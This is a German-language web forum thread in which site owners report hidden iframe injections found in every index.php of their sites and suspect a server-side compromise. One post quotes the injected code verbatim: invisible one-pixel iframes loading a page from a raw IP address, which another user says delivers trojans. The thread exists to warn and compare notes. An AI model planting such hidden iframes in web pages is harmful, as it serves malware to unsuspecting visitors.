eintrag in der index.php

[Pantau]

Hallo leute heute ist mir was sehr merkwürdiges aufgefallen als ich im admin bereich war und einige banner löschte viel mir auf das meine seite immer etwas dauerte bis sie fertig geladen hat da bemerkte ich in der status leiste das dort noch was geladen wurde.

und siehe da:

<iframe src='http://81.95.149.74/1/index.php' width='1' height='1' style='visibility: hidden;'></iframe>
<iframe src='http://81.95.149.74/1/index.php' width='1' height='1' style='visibility: hidden;'></iframe>
------------------------------------------------------
diesen eintrag fand ich in jeder index.php wirklich in jeder auch in den index dateien die nichts mit dem vms zu tun hatten.


nun sagt nicht ist nur bei mir nein ich hatte durch zufalle eine andere vms seite mir mal angeschaut (Queltext) und siehe da auch dort sind diese einträge gewesen.

also schaut eure index.php mal durch.

[nighthunter]

das hab ich auch schon mal erlebt.
bei meinem damaligen online-clan wurden auf der hp auch alle
index seiten mit diesem iframe infiziert.
für die hp wurde, glaub ich, das phpkit verwendet.
also liegt es warscheinlich nicht direkt am vms1.
mit diesem iframe werden trojaner geladen.
vermutlich wird eine schwachstelle am webserver oder dessen betriebssystem genutzt,
um alle index seiten zu manipulieren.
leider weiss ich auch nicht, was man dagegen machen kann.

[EarlofMidnight]

Schau dir das hier an: http://www.designerscripte.net/thread.php?threadid=4855 vielleicht hilft dir das weiter.

Gruß

EarlofMidnigt

P.S Ist fast die gleich IP wie bei dir